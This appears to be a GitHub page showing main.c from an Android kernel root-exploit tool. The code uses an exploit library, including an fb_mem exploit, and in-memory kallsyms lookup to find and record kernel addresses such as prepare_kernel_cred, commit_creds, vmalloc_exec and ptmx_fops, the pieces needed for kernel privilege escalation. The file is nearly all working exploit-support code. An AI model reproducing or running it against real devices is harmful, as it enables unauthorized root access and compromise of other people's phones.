-
Notifications
You must be signed in to change notification settings - Fork 49
/
Copy pathmain.c
237 lines (185 loc) · 5.29 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define _LARGEFILE64_SOURCE
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/system_properties.h>
#include "device_database.h"
#include "cred.h"
#include "mm.h"
#include "ptmx.h"
#include "libexploit/exploit.h"
#include "libkallsyms/kallsyms_in_memory.h"
static void *vmalloc_exec;
void
device_detected(void)
{
char device[PROP_VALUE_MAX];
char build_id[PROP_VALUE_MAX];
__system_property_get("ro.product.model", device);
__system_property_get("ro.build.display.id", build_id);
printf("\n\nDevice detected: %s (%s)\n\n", device, build_id);
}
static bool
has_all_essential_addresses(void)
{
if (prepare_kernel_cred
&& commit_creds
&& remap_pfn_range
&& vmalloc_exec
&& ptmx_fops) {
return true;
}
return false;
}
bool
setup_vmalloc_exec_address(void)
{
if (vmalloc_exec) {
return true;
}
vmalloc_exec = (void *)device_get_symbol_address(DEVICE_SYMBOL(vmalloc_exec));
if (!vmalloc_exec && kallsyms_exist()) {
vmalloc_exec = (void *)kallsyms_get_symbol_address("vmalloc_exec");
}
return !!vmalloc_exec;
}
static bool
find_ptmx_fops_address(kallsyms *info, void *mem, size_t length)
{
find_ptmx_fops_hint_t hint;
hint.ptmx_open_address = kallsyms_in_memory_lookup_name(info, "ptmx_open");
if (!hint.ptmx_open_address) {
return false;
}
hint.tty_release_address = kallsyms_in_memory_lookup_name(info, "tty_release");
if (!hint.tty_release_address) {
return false;
}
hint.tty_fasync_address = kallsyms_in_memory_lookup_name(info, "tty_fasync");
if (!hint.tty_fasync_address) {
return false;
}
return setup_ptmx_fops_address_in_memory(mem, length, &hint);
}
static bool
find_variables_in_memory(void *mem, size_t length)
{
kallsyms *info;
printf("Search address in memory...\n");
info = kallsyms_in_memory_init(mem, length);
if (info) {
printf("Using kallsyms_in_memory...\n");
if (!prepare_kernel_cred) {
prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred");
}
if (!commit_creds) {
commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds");
}
if (!remap_pfn_range) {
remap_pfn_range = (void *)kallsyms_in_memory_lookup_name(info, "remap_pfn_range");
}
if (!vmalloc_exec) {
vmalloc_exec = (void *)kallsyms_in_memory_lookup_name(info, "vmalloc_exec");
}
if (!ptmx_fops) {
ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops");
if (!ptmx_fops) {
find_ptmx_fops_address(info, mem, length);
}
}
kallsyms_in_memory_free(info);
if (has_all_essential_addresses()) {
return true;
}
}
setup_prepare_kernel_cred_address_in_memory(mem, length);
setup_commit_creds_address_in_memory(mem, length);
return has_all_essential_addresses();
}
static bool
setup_variables(void)
{
setup_prepare_kernel_cred_address();
setup_commit_creds_address();
setup_remap_pfn_range_address();
setup_vmalloc_exec_address();
setup_ptmx_fops_address();
if (has_all_essential_addresses()) {
return true;
}
printf("Try to find address in memory...\n");
if (!run_with_mmap(find_variables_in_memory)) {
printf("\n");
run_with_memcpy(find_variables_in_memory);
}
if (has_all_essential_addresses()) {
return true;
}
if (!prepare_kernel_cred) {
printf("Failed to get prepare_kernel_cred address.\n");
}
if (!commit_creds) {
printf("Failed to get commit_creds address.\n");
}
if (!remap_pfn_range) {
printf("Failed to get remap_pfn_range address.\n");
}
if (!vmalloc_exec) {
printf("Failed to get vmalloc_exec address.\n");
}
if (!ptmx_fops) {
printf("Failed to get ptmx_fops address.\n");
}
print_reason_device_not_supported();
return false;
}
static void
register_address(void)
{
#ifdef HAS_SET_SYMBOL_ADDRESS
printf("Essential address are:\n");
if (device_set_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred), (unsigned long int)prepare_kernel_cred)) {
printf(" prepare_kernel_cred = %p\n", prepare_kernel_cred);
}
if (device_set_symbol_address(DEVICE_SYMBOL(commit_creds), (unsigned long int)commit_creds)) {
printf(" commit_creds = %p\n", commit_creds);
}
if (device_set_symbol_address(DEVICE_SYMBOL(remap_pfn_range), (unsigned long int)remap_pfn_range)) {
printf(" remap_pfn_range = %p\n", remap_pfn_range);
}
if (device_set_symbol_address(DEVICE_SYMBOL(vmalloc_exec), (unsigned long int)vmalloc_exec)) {
printf(" vmalloc_exec = %p\n", vmalloc_exec);
}
if (device_set_symbol_address(DEVICE_SYMBOL(ptmx_fops), (unsigned long int)ptmx_fops)) {
printf(" ptmx_fops = %p\n", ptmx_fops);
}
#endif /* HAS_SET_SYMBOL_ADDRESS */
}
int
main(int argc, char **argv)
{
device_detected();
printf("Try without fb_mem_exploit fist...\n\n");
set_fb_mem_exploit_enable(false);
if (!setup_variables()) {
printf("\n\n");
printf("Try again with fb_mem_exploit...\n\n");
set_fb_mem_exploit_enable(true);
if (!setup_variables()) {
printf("Failed to setup variables.\n");
exit(EXIT_FAILURE);
}
}
register_address();
exit(EXIT_SUCCESS);
}
/*
vi:ts=2:nowrap:ai:expandtab:sw=2
*/